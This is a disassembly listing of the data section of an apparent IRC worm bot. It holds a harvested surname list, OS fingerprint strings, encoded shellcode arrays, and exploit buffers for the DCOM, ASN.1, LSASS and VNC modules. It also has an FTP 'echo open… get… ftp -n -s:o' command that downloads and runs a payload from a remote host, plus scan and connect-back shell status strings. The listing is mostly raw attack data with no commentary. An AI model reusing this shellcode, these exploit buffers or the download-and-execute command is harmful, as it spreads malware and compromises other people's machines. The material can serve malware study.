aBayles db 'Bayles',0 ; DATA XREF: .data:0042DAC4o
align 10h
aBaumiller db 'Baumiller',0 ; DATA XREF: .data:0042DAC0o
align 4
aBatchelder db 'Batchelder',0 ; DATA XREF: .data:0042DABCo
align 4
aBashevis db 'Bashevis',0 ; DATA XREF: .data:0042DAB8o
align 4
aBasavappa db 'Basavappa',0 ; DATA XREF: .data:0042DAB4o
align 10h
aBartoo db 'Bartoo',0 ; DATA XREF: .data:0042DAB0o
align 4
aBartolome db 'Bartolome',0 ; DATA XREF: .data:0042DAACo
align 4
aBartholomew db 'Bartholomew',0 ; DATA XREF: .data:0042DAA8o
aBarry db 'Barry',0 ; DATA XREF: .data:0042DAA4o
align 4
aBarriola db 'Barriola',0 ; DATA XREF: .data:0042DAA0o
align 4
aBarnett db 'Barnett',0 ; DATA XREF: .data:0042DA9Co
aBarneson db 'Barneson',0 ; DATA XREF: .data:0042DA98o
align 4
aBarbetti db 'Barbetti',0 ; DATA XREF: .data:0042DA94o
align 4
aBarberi db 'Barberi',0 ; DATA XREF: .data:0042DA90o
aBaranowska db 'Baranowska',0 ; DATA XREF: .data:0042DA8Co
align 4
aBaranczak db 'Baranczak',0 ; DATA XREF: .data:0042DA88o
align 4
aBarajas db 'Barajas',0 ; DATA XREF: .data:0042DA84o
aBarabesi db 'Barabesi',0 ; DATA XREF: .data:0042DA80o
align 4
aBanta db 'Banta',0 ; DATA XREF: .data:0042DA7Co
align 10h
aBaltz db 'Baltz',0 ; DATA XREF: .data:0042DA78o
align 4
aBallew db 'Ballew',0 ; DATA XREF: .data:0042DA74o
align 10h
aBallatori db 'Ballatori',0 ; DATA XREF: .data:0042DA70o
align 4
aBaleja db 'Baleja',0 ; DATA XREF: .data:0042DA6Co
align 4
aBakanowsky db 'Bakanowsky',0 ; DATA XREF: .data:0042DA68o
align 10h
aBailar db 'Bailar',0 ; DATA XREF: .data:0042DA64o
align 4
aBagnold db 'Bagnold',0 ; DATA XREF: .data:0042DA60o
aBaglivo db 'Baglivo',0 ; DATA XREF: .data:0042DA5Co
aBady db 'Bady',0 ; DATA XREF: .data:0042DA58o
align 10h
aBackus db 'Backus',0 ; DATA XREF: .data:0042DA54o
align 4
aBachmuth db 'Bachmuth',0 ; DATA XREF: .data:0042DA50o
align 4
aAzima db 'Azima',0 ; DATA XREF: .data:0042DA4Co
align 4
aAyling db 'Ayling',0 ; DATA XREF: .data:0042DA48o
align 4
aAykroyd db 'Aykroyd',0 ; DATA XREF: .data:0042DA44o
aAyiemba db 'Ayiemba',0 ; DATA XREF: .data:0042DA40o
aAxworthy db 'Axworthy',0 ; DATA XREF: .data:0042DA3Co
align 10h
aAxelrod db 'Axelrod',0 ; DATA XREF: .data:0042DA38o
aAurelius db 'Aurelius',0 ; DATA XREF: .data:0042DA34o
align 4
aAugustus db 'Augustus',0 ; DATA XREF: .data:0042DA30o
align 10h
aAtkins db 'Atkins',0 ; DATA XREF: .data:0042DA2Co
align 4
aArky db 'Arky',0 ; DATA XREF: .data:0042DA28o
align 10h
aArjas db 'Arjas',0 ; DATA XREF: .data:0042DA24o
align 4
aAristotle db 'Aristotle',0 ; DATA XREF: .data:0042DA20o
align 4
aArellano db 'Arellano',0 ; DATA XREF: .data:0042DA1Co
align 10h
aArduini db 'Arduini',0 ; DATA XREF: .data:0042DA18o
aArbia db 'Arbia',0 ; DATA XREF: .data:0042DA14o
align 10h
aAntos db 'Antos',0 ; DATA XREF: .data:0042DA10o
align 4
aAnthony db 'Anthony',0 ; DATA XREF: .data:0042DA0Co
aAnsley db 'Ansley',0 ; DATA XREF: .data:0042DA08o
align 4
aAnfinrud db 'Anfinrud',0 ; DATA XREF: .data:0042DA04o
align 4
aAndron db 'Andron',0 ; DATA XREF: .data:0042DA00o
align 4
aAndrelus db 'Andrelus',0 ; DATA XREF: .data:0042D9FCo
align 4
aAndo db 'Ando',0 ; DATA XREF: .data:0042D9F8o
align 10h
aAndel db 'Andel',0 ; DATA XREF: .data:0042D9F4o
align 4
aAnand db 'Anand',0 ; DATA XREF: .data:0042D9F0o
align 10h
aAmsden db 'Amsden',0 ; DATA XREF: .data:0042D9ECo
align 4
aAmeer db 'Ameer',0 ; DATA XREF: .data:0042D9E8o
align 10h
aAmatangelo db 'Amatangelo',0 ; DATA XREF: .data:0042D9E4o
align 4
aAmaral db 'Amaral',0 ; DATA XREF: .data:0042D9E0o
align 4
aAltenhofen db 'Altenhofen',0 ; DATA XREF: .data:0042D9DCo
align 10h
aAltenberger db 'Altenberger',0 ; DATA XREF: .data:0042D9D8o
aAltavilla db 'Altavilla',0 ; DATA XREF: .data:0042D9D4o
align 4
aAlongi db 'Alongi',0 ; DATA XREF: .data:0042D9D0o
align 10h
aAllison db 'Allison',0 ; DATA XREF: .data:0042D9CCo
aAleks db 'Aleks',0 ; DATA XREF: .data:0042D9C8o
align 10h
aAlda db 'Alda',0 ; DATA XREF: .data:0042D9C4o
align 4
aAlcorn db 'Alcorn',0 ; DATA XREF: .data:0042D9C0o
align 10h
aAlavi db 'Alavi',0 ; DATA XREF: .data:0042D9BCo
align 4
aAhlers db 'Ahlers',0 ; DATA XREF: .data:0042D9B8o
align 10h
aAdorno db 'Adorno',0 ; DATA XREF: .data:0042D9B4o
align 4
aAdibe db 'Adibe',0 ; DATA XREF: .data:0042D9B0o
align 10h
aAdelstein db 'Adelstein',0 ; DATA XREF: .data:0042D9ACo
align 4
aAddison db 'Addison',0 ; DATA XREF: .data:off_42D9A8o
aAdams db 'Adams',0 ; DATA XREF: .data:0042D9A4o
align 4
aAckerman db 'Ackerman',0 ; DATA XREF: .data:0042D9A0o
align 4
aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: .data:off_42D99Co
align 4
byte_4315F4 db 50h ; DATA XREF: .text:0040ABE6o
; .text:0040ABF3r
db 43h, 2 dup(0)
dword_4315F8 dd 7C7325h ; DATA XREF: .text:0040AC91o
aS_0 db '[%s]|',0 ; DATA XREF: .text:0040AD9Bo
align 4
a??? db '???',0 ; DATA XREF: .text:loc_40AD92o
; sub_41AF8F:loc_41B052o
a2k3 db '2K3',0 ; DATA XREF: .text:0040AD8Bo
aXp db 'XP',0 ; DATA XREF: .text:0040AD7Do
; .text:0040AF89o ...
align 10h
a2k db '2K',0 ; DATA XREF: .text:0040AD6Do
; .text:0040AF79o ...
align 4
aMe_0 db 'ME',0 ; DATA XREF: .text:0040AD54o
; .text:0040AF60o ...
align 4
a98 db '98',0 ; DATA XREF: .text:0040AD44o
; .text:0040AF50o ...
align 4
aNt_0 db 'NT',0 ; DATA XREF: .text:0040AD34o
; .text:0040AF41o ...
align 10h
a95 db '95',0 ; DATA XREF: .text:0040AD26o
; .text:0040AF33o ...
align 4
; char aDS[]
aDS db '[%d]%s',0 ; DATA XREF: sub_40ADE1+3Ao
align 4
; char aM[]
aM db '[M]',0 ; DATA XREF: sub_40ADE1+2Co
; sub_40ADE1+57o
aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40ADE1+18o
; sub_41875E+5o
align 4
aSSSS_0 db '%s|%s|%s|%s|',0 ; DATA XREF: .text:0040B0D6o
align 4
a99 db '99',0 ; DATA XREF: .text:loc_40B098o
align 4
a0D db '0%d',0 ; DATA XREF: .text:0040B072o
; char aDdDhDm[]
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: .text:0040B054o
; sub_41ADD8+52o
off_43165C dd offset byte_4B4E55 ; DATA XREF: .text:0040B037o
dword_431660 dd 345053h ; DATA XREF: .text:0040B02Do
dword_431664 dd 34h ; DATA XREF: .text:0040B021o
dword_431668 dd 335053h ; DATA XREF: .text:0040B014o
dword_43166C dd 33h ; DATA XREF: .text:0040B003o
dword_431670 dd 325053h ; DATA XREF: .text:0040AFF6o
dword_431674 dd 32h ; DATA XREF: .text:0040AFE5o
dword_431678 dd 315053h ; DATA XREF: .text:0040AFD8o
dword_43167C dd 305053h ; DATA XREF: .text:0040AFBAo
dword_431680 dd 4E55h ; DATA XREF: .text:loc_40AF9Eo
dword_431684 dd 3332h ; DATA XREF: .text:0040AF97o
dword_431688 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_40B2B3+C4o
db 66h, 0B9h
word_431696 dw 0FFFFh ; DATA XREF: sub_40B2B3+CCw
db 80h, 73h, 0Eh
byte_43169B db 0FFh ; DATA XREF: sub_40B2B3+D3w
dd 0F9E243h
dword_4316A0 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_40B2B3+A2o
db 0B1h
byte_4316AD db 0FFh ; DATA XREF: sub_40B2B3+AAw
dw 7380h
db 0Ch
byte_4316B1 db 0FFh ; DATA XREF: sub_40B2B3+B0w
dw 0E243h
dd 0F9h
dword_4316B8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_40B13C+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43171C dd 12h ; DATA XREF: sub_40B13C+3Dw
dd 70746674h, 6578652Eh, 20692D20h
aGet db ' get ',0 ; DATA XREF: sub_40B13C+79o
; sub_40B13C+9Bo
aJ_0 db 'j',0
db 0E8h
dword_431735 dd 17h ; DATA XREF: sub_40B13C+4Dw
db 75h, 1, 0C3h
db 0E8h
dword_43173D dd 1 ; DATA XREF: sub_40B13C+45w
byte_431741 db 0, 6Ah, 0 ; DATA XREF: sub_40B13C+C2o
dd 7E8h
db 0, 0Fh, 84h
dword_43174B dd 0FFFFFFEDh ; DATA XREF: sub_40B13C+5Dw
db 0C3h
dd 505D5B58h, 3354EC83h, 8DFC8BC0h, 0D78B4048h, 44B0AAF3h
dd 515257ABh, 6A286A51h, 55515101h, 83D6FF53h, 0C08554C4h
dd 0C3h
dword_43177C dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h
; DATA XREF: sub_40B477+10o
; char aSNoSThreadFoun[]
aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B648+51o
align 4
; char aSSStopped_DThr[]
aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B648+35o
align 10h
aSym db 'sym',0 ; DATA XREF: sub_40C3E8+169o
dd 0
db 2 dup(0)
aSymantec db 'Symantec',0 ; DATA XREF: sub_40BA9E+30o
; .text:0040E229o ...
align 4
dd 5 dup(0)
dword_4317F8 dd 0B97h ; DATA XREF: sub_401ACD+1D42r
; sub_401ACD+1D6Ao ...
off_4317FC dd offset sub_40EAE9 ; DATA XREF: sub_40C3E8+1EAr
dword_431800 dd 0 ; DATA XREF: sub_40B90E+2Eo
; .text:0040D759w ...
dword_431804 dd 1 ; DATA XREF: sub_40BD91+1Fr
dword_431808 dd 1 ; DATA XREF: sub_40BD91+3B3r
dword_43180C dd 0 ; DATA XREF: sub_40BD91+292r
aDcom135 db 'dcom135',0
dd 63440000h, 33316D6Fh, 35h, 5 dup(0)
dd 87h, 40DF4Ch, 0
dd 1, 2 dup(0)
dd 636E76h, 0
dd 6E760000h, 63h, 6 dup(0)
dd 170Ch, 40EC1Fh, 0
dd 2 dup(1), 0
aAsn445 db 'asn445',0
align 4
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
dd 1BDh, 40D59Dh, 0
dd 2 dup(1), 0
aAsn139 db 'asn139',0
align 4
dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
dd 8Bh, 40D59Dh, 0
dd 2 dup(1), 0
aVncs db 'vncs',0
align 4
dd 54480000h, 562D5054h, 434Eh, 5 dup(0)
dd 170Ch, 41B6A1h, 4 dup(0)
aLsass_445 db 'lsass_445',0
aLsass_445_0 db 'lsass_445',0
dd 5 dup(0)
dd 1BDh, 40E830h, 0
dd 2 dup(1), 2 dup(0)
dd 10100h, 0Eh dup(0)
aAsn445_0 db 'asn445',0
align 4
db 2 dup(0)
byte_4319DA db 1 ; DATA XREF: sub_401ACD:loc_403789r
; sub_401ACD+1CC6o
aDcom135_0 db 'dcom135',0
align 4
dd 100h, 3 dup(0)
dd 4A5A10EBh, 0B966C933h, 34800166h, 0FAE2990Ah, 0EBE805EBh
dd 70FFFFFFh, 99999899h, 699521C3h, 9912E664h, 3485E912h
dd 1291D912h, 0A5EA1241h, 0EF126A9Ah, 126A9AE1h, 629AB9E7h
dd 0AA8DD712h, 0C8CECF74h, 629AA612h, 97F36B12h, 0ED3F6AC0h
dd 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h, 0DF125412h, 485A9ABDh
dd 0AA589A78h, 9112FF50h, 9A85DF12h, 9B78585Ah, 9912589Ah
dd 63125A9Ah, 5F1A6E12h, 0F3491297h, 0E571C09Ah, 1A999999h
dd 0CFCB945Fh, 0C365CE66h, 9DF34112h, 99F071C0h, 0C9C99999h
dd 98F3C9C9h, 0CE669BF3h, 5E411269h, 9E999B9Eh, 1059AA24h
dd 89F39DDEh, 0CE66CACEh, 0CA98F36Dh, 0C961CE66h, 0CE66CAC9h
dd 0DD751A65h, 42AA6D12h, 10C089F3h, 627B1785h, 10A1DF10h
dd 0DF10A5DFh, 0B5DF5ED9h, 99999898h, 0C989DE14h, 0CACACACFh
dd 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h, 0CAC9A5DEh, 0C97DCE66h
dd 0AA71CE66h, 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h
dd 5A59AA77h, 66676271h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h
dd 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh
dd 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh, 0D5FDF8F6h, 0F8EBFBF0h
dd 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh, 0F6CAD8CAh, 0EDFCF2FAh
dd 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h, 0FAF899F7h, 0EDE9FCFAh
dd 99h
; char aTotalDInS_[]
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B90E+86o
align 4
; char asc_431B88[]
asc_431B88 db ' ' ; DATA XREF: sub_40B90E+46o
db 3, 37h, 25h
dd 203A0373h, 2C6425h
; char asc_431B94[]
asc_431B94 db '-' ; DATA XREF: sub_40B90E+11o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aExploitStatist db 'Exploit Statistics:',0
; char asc_431BB4[]
asc_431BB4 db '-' ; DATA XREF: sub_40B9DD+38o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
db 54h ; T
db 72h, 61h, 6Eh
db 73h ; s
db 66h, 65h, 72h
db 20h
db 53h, 74h, 61h
db 74h ; t
db 69h, 73h, 74h
db 69h ; i
db 63h, 73h, 3Ah
db 20h
db 2, 54h, 46h
db 54h ; T
db 50h, 2, 3Ah
db 20h
db 25h, 64h, 2Ch
db 20h
db 2, 46h, 54h
db 50h ; P
db 2, 3Ah, 20h
aDTotalDInS_ db '%d, Total %d in %s.',0
; char asc_431BFC[]
asc_431BFC db '-' ; DATA XREF: sub_40BA49+22o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aDConnectbackSh db '%d connectback shells in %s.',0
align 4
; char aScanTimeS_[]
aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40BA9E+7Fo
; char asc_431C38[]
asc_431C38 db ' ' ; DATA XREF: sub_40BA9E+40o
db 3, 37h, 25h
dd 28200373h, 73253403h, 2C2903h
; char asc_431C48[]
asc_431C48 db '-' ; DATA XREF: sub_40BA9E+14o
db 3, 34h, 2
dd 6E616373h, 202D0302h, 6C707845h, 2074696Fh, 7473694Ch
dd 3Ah
; char asc_431C64[]
asc_431C64 db '-' ; DATA XREF: sub_40BB65+172o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFinishedExploi db '- finished exploiting %s (%d attempts)',0
; char asc_431C98[]
asc_431C98 db '-' ; DATA XREF: sub_40BB65+80o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
db 2Dh, 20h, 74h
db 72h ; r
db 79h, 69h, 6Eh
db 67h ; g
db 20h, 2, 25h
db 73h ; s
db 2, 20h, 6Fh
aNSPortD___ db 'n %s (port %d)...',0
align 4
; char asc_431CC8[]
asc_431CC8 db '-' ; DATA XREF: sub_40BD1A+42o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanNotActive_ db 'Scan not active.',0
align 4
; char asc_431CE8[]
asc_431CE8 db '-' ; DATA XREF: sub_40BD1A+2Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aCurrentIpS_ db 'Current IP: %s.',0
; char asc_431D04[]
asc_431D04 db '-' ; DATA XREF: sub_40BD91+4B7o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_30 db ' Failed to start server, error: <%d>.',0
align 4
; char asc_431D38[]
asc_431D38 db '-' ; DATA XREF: sub_40BD91+38Fo
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aFailedToSta_31 db '- Failed to start server, error: <%d>.',0
; char asc_431D70[]
asc_431D70 db '-' ; DATA XREF: sub_40BD91+321o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aServerStarte_2 db '- Server started on Port: %d.',0
align 10h
; char asc_431DA0[]
asc_431DA0 db '-' ; DATA XREF: sub_40BD91+26Co
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_32 db 'Failed to start server, error: <%d>.',0
align 4
; char asc_431DD4[]
asc_431DD4 db '-' ; DATA XREF: sub_40BD91+1FEo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aServerStarte_3 db 'Server started on Port: %d, File: %s.',0
align 4
; char asc_431E08[]
asc_431E08 db '-' ; DATA XREF: sub_40BD91+148o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_33 db ' Failed to start server, error: <%d>.',0
align 4
; char asc_431E3C[]
asc_431E3C db '-' ; DATA XREF: sub_40C3E8+EEo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0
align 4
; char asc_431E64[]
asc_431E64 db '-' ; DATA XREF: sub_40C3E8+93o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; char asc_431E9C[]
asc_431E9C db '-' ; DATA XREF: sub_40C600+1CEo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0
align 4
; char asc_431EDC[]
asc_431EDC db '-' ; DATA XREF: sub_40C600+173o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
; char asc_431F14[]
asc_431F14 db '-' ; DATA XREF: sub_40C600+103o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
; char asc_431F48[]
asc_431F48 db '-' ; DATA XREF: sub_40C600+87o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToInitia db 'Failed to initialize critical section.',0
align 4
; char asc_431F7C[]
asc_431F7C db '-' ; DATA XREF: sub_40C85F+92o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOp_0 db 'IP: %s Port: %d is open.',0
align 4
; char asc_431FA4[]
asc_431FA4 db '-' ; DATA XREF: sub_40C92C+41o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0
align 4
; char asc_431FCC[]
asc_431FCC db '-' ; DATA XREF: sub_40CA1D+D1o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedScanni db 'Finished scanning IP: %s.',0
align 4
; char asc_431FF8[]
asc_431FF8 db '-' ; DATA XREF: sub_40CA1D+41o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0
align 4
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CD9E+B2o
align 10h
dword_432030 dd 10FF8h, 0 ; DATA XREF: sub_40CD9E+6Ao
dword_432038 dd 10FF8h ; DATA XREF: sub_40CD9E+79o
dword_43203C dd 7FFDF020h, 0 ; DATA XREF: sub_40CD9E+162o
dword_432044 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40D1C8+7Bo
dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
aLanman1_0 db 'LANMAN1.0',0
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
aLm1_2x002 db 'LM1.2X002',0
dw 4C02h
aAnman2_1 db 'ANMAN2.1',0
db 2, 4Eh, 54h
aLm0_12 db ' LM 0.12',0
align 4
dword_4320CC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D1C8+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_4320FC dd 0 ; DATA XREF: sub_40D1C8+44o
dd 800000D4h, 0
unk_432108 db 81h ; ; DATA XREF: sub_40D2A2+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 0
byte_432154 db 41h ; DATA XREF: sub_40D340+107r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 4
aSvwfbA db 'SVWfì€',0 ; DATA XREF: .text:0040D61Fo
aIcsa db '‰æèí',0
db 2 dup(0), 0FFh
dd 12096836h, 0F7E863D6h, 89000000h, 0A2E80846h, 0FF000000h
dd 6B680476h, 0E8CA2BD0h, 0E2h, 0E80C4689h, 3Fh, 680476FFh
dd 4C0297FAh, 0CDE8h, 68DB3100h, 410h, 89D0FF53h, 768B56C3h
dd 0B9C78910h, 410h, 315EA4F3h, 505050C0h, 0FF505053h
dd 468B0C56h, 0C4816608h, 5E5F0080h, 60E0FF5Bh, 23E8h
dd 24448B00h, 7C588D0Ch, 53C4383h, 284381h, 81000010h
dd 0F0002863h, 48BFFFFh, 14C48324h, 0C3C03150h, 0FF64D231h
dd 22896432h, 90B8DB31h, 31429042h, 8902B1C9h, 74AFF3DFh
dd 0F3EB4303h, 64107E89h, 6158028Fh, 20BF60C3h, 8B7FFDF0h
dd 8468B1Fh, 7F8B0789h, 78C781F8h, 89000001h, 741939F9h
dd 0EB098B04h, 39FA89F8h, 574045Ah, 0EB04528Bh, 891189F6h
dd 43C6044Ah, 0C36101FDh, 0FDF00CA1h, 1C408B7Fh, 8908588Bh
dd 8B008B1Eh, 46890840h, 8B60C304h, 8B28246Ch, 548B3C45h
dd 0EA017805h, 8B184A8Bh, 0EB01205Ah, 8B4938E3h, 0EE018B34h
dd 0C031FF31h, 0E038ACFCh, 0CFC10774h, 0EBC7010Dh, 247C3BF4h
dd 8BE17524h, 0EB01245Ah, 4B0C8B66h, 11C5A8Bh, 8B048BEBh
dd 4489E801h, 0C2611C24h, 0FEEB0008h, 0
dword_432300 dd 0F254C481h, 0E8FCFFFFh, 46h, 8B3C458Bh, 178057Ch, 184F8BEFh
; DATA XREF: .text:0040D5CDo
dd 1205F8Bh, 492EE3EBh, 18B348Bh, 99C031EEh, 74C084ACh
dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
; char dword_432390[]
dword_432390 dd 60h ; DATA XREF: sub_40CD9E+320o
; char dword_432394[]
dword_432394 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD9E+2F5o
; char dword_4323A0[]
dword_4323A0 dd 30h ; DATA XREF: sub_40CD9E+2CAo
; char dword_4323A4[]
dword_4323A4 dd 0A1h ; DATA XREF: sub_40CD9E+29Fo
dword_4323A8 dd 3 ; DATA XREF: sub_40CD9E+246o
; char aCccc[]
aCccc db 'CCCC',0 ; DATA XREF: sub_40CD9E+153o
align 4
; char dword_4323B4[]
dword_4323B4 dd 909006EBh, 90909090h, 0 ; DATA XREF: sub_40CD9E+E8o
aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: .text:0040D5F4o
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 4
dword_432424 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: .text:0040E02Do
; .text:0040E167o
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_432470 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_40DCF9+123o
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_4327D4 dd 20h, 0 ; DATA XREF: sub_40DCF9+136o
dd 20h, 5C005Ch, 0
off_4327E8 dd offset aLafler ; DATA XREF: sub_40DCF9+15Do
; "Lafler"
a12345611111111:
unicode 0, <$\123456111111111111111.doc>,0
align 8
dword_432828 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCF9+174o
dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx: ; DATA XREF: sub_40DCF9+45o
unicode 0, <FXNBFXFXNBFXFXFXFX>
dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr db ''
db ''
db '',0
